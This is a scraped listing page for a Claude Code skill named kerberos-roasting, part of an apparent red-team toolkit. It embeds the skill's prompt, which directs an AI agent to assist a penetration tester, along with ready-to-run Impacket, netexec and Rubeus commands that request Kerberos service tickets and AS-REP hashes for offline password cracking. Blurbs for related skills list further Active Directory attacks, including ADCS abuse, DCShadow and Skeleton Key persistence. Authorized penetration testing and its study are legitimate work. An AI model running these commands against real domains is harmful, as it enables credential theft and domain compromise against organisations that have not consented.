acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Extracts and cracks Kerberos service tickets (Kerberoasting) and AS-REP hashes (AS-REP Roasting) for offline password recovery.
$ npx -y skills add blacklanternsecurity/red-run --skill kerberos-roasting --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/kerberos-roastingContext preview
The summary Claude sees to decide when to auto-load this skill.
Extracts and cracks Kerberos service tickets (Kerberoasting) and AS-REP hashes (AS-REP Roasting) for offline password recovery.
name: kerberos-roasting description: > Extracts and cracks Kerberos service tickets (Kerberoasting) and AS-REP hashes (AS-REP Roasting) for offline password recovery. keywords: - kerberoast - kerberoasting - asreproast - AS-REP - GetUserSPNs - service ticket - SPN cracking - roasting - GetNPUsers - pre-authentication disabled - targeting AD service accounts with SPNs or accounts with pre-auth disabled tools: - Impacket (GetUserSPNs.py - GetNPUsers.py) - Rubeus - netexec - targetedKerberoast.py opsec: medium
You are helping a penetration tester perform Kerberoasting (extracting TGS tickets for offline cracking) and AS-REP Roasting (extracting AS-REP hashes from accounts without pre-authentication). All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
**Kerberos-first authentication:**
# Get a TGT first cd $TMPDIR && getTGT.py DOMAIN/user:'Password123' -dc-ip DC_IP # or with NTLM hash cd $TMPDIR && getTGT.py DOMAIN/user -hashes :NTHASH -dc-ip DC_IP export KRB5CCNAME=$TMPDIR/user.ccache # All Impacket roasting tools support -k -no-pass GetUserSPNs.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass -dc-ip DC_IP -request GetNPUsers.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass -dc-ip DC_IP
**Tool output directory**: `getTGT.py` writes `<user>.ccache` to CWD with no `-out` flag. Always prefix with `cd $TMPDIR &&`. TGS/AS-REP hash output files (via `-outputfile`) support explicit paths.
Claude Code cannot execute `sudo` commands. The following require root and must be handed off to the user:
**Handoff protocol:** Present the full command including `sudo`, ask the user to run it, then read the output file (`tee` captures timeroast output) or confirm completion (ntpdate).
**Non-privileged commands** Claude can execute directly:
Determine what access level is available:
1. **Valid domain credentials** (password, hash, or TGT) -> proceed to Step 2 2. **Username with DONT_REQ_PREAUTH known** -> skip to Step 5 (AS-REP) or Step 6 (Kerberoasting without domain account) 3. **Username list only, no credentials** -> skip to Step 5 (AS-REP) 4. **Write access to user objects (GenericAll/GenericWrite)** -> Step 7 (Targeted)
# List all user accounts with SPNs (no ticket request yet) GetUserSPNs.py DOMAIN/user:'Password123' -dc-ip DC_IP # With Kerberos auth GetUserSPNs.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass -dc-ip DC_IP
# Enumerate via LDAP and extract in one step nxc ldap DC01.DOMAIN.LOCAL -u 'user' -p 'Password123' \ --kerberoasting kerberoast.txt # With Kerberos auth nxc ldap DC01.DOMAIN.LOCAL --use-kcache --kerberoasting kerberoast.txt
# Statistics overview — encryption types, password age, admin status .\Rubeus.exe kerberoast /stats # List without requesting (enumeration only) .\Rubeus.exe kerberoast /stats /nowrap
Before mass-roasting, prioritize by:
# Request all SPN tickets GetUserSPNs.py DOMAIN/user:'Password123' -dc-ip DC_IP \ -request -outputfile hashes.kerberoast # Target single user (reduces noise) GetUserSPNs.py DOMAIN/user:'Password123' -dc-ip DC_IP \ -request-user svc_mssql -outputfile hashes.kerberoast # With NTLM hash GetUserSPNs.py DOMAIN/user -dc-ip DC_IP \ -hashes :NTHASH -request -outputfile hashes.kerberoast # With Kerberos auth (most OPSEC-safe) GetUserSPNs.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass \ -request -outputfile hashes.kerberoast
# All SPNs (noisy — avoid in mature environments) .\Rubeus.exe kerberoast /outfile:hashes.kerberoast # Target single account .\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast # Admins only (smaller footprint) .\Rubeus.exe kerberoast /ldapfil
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…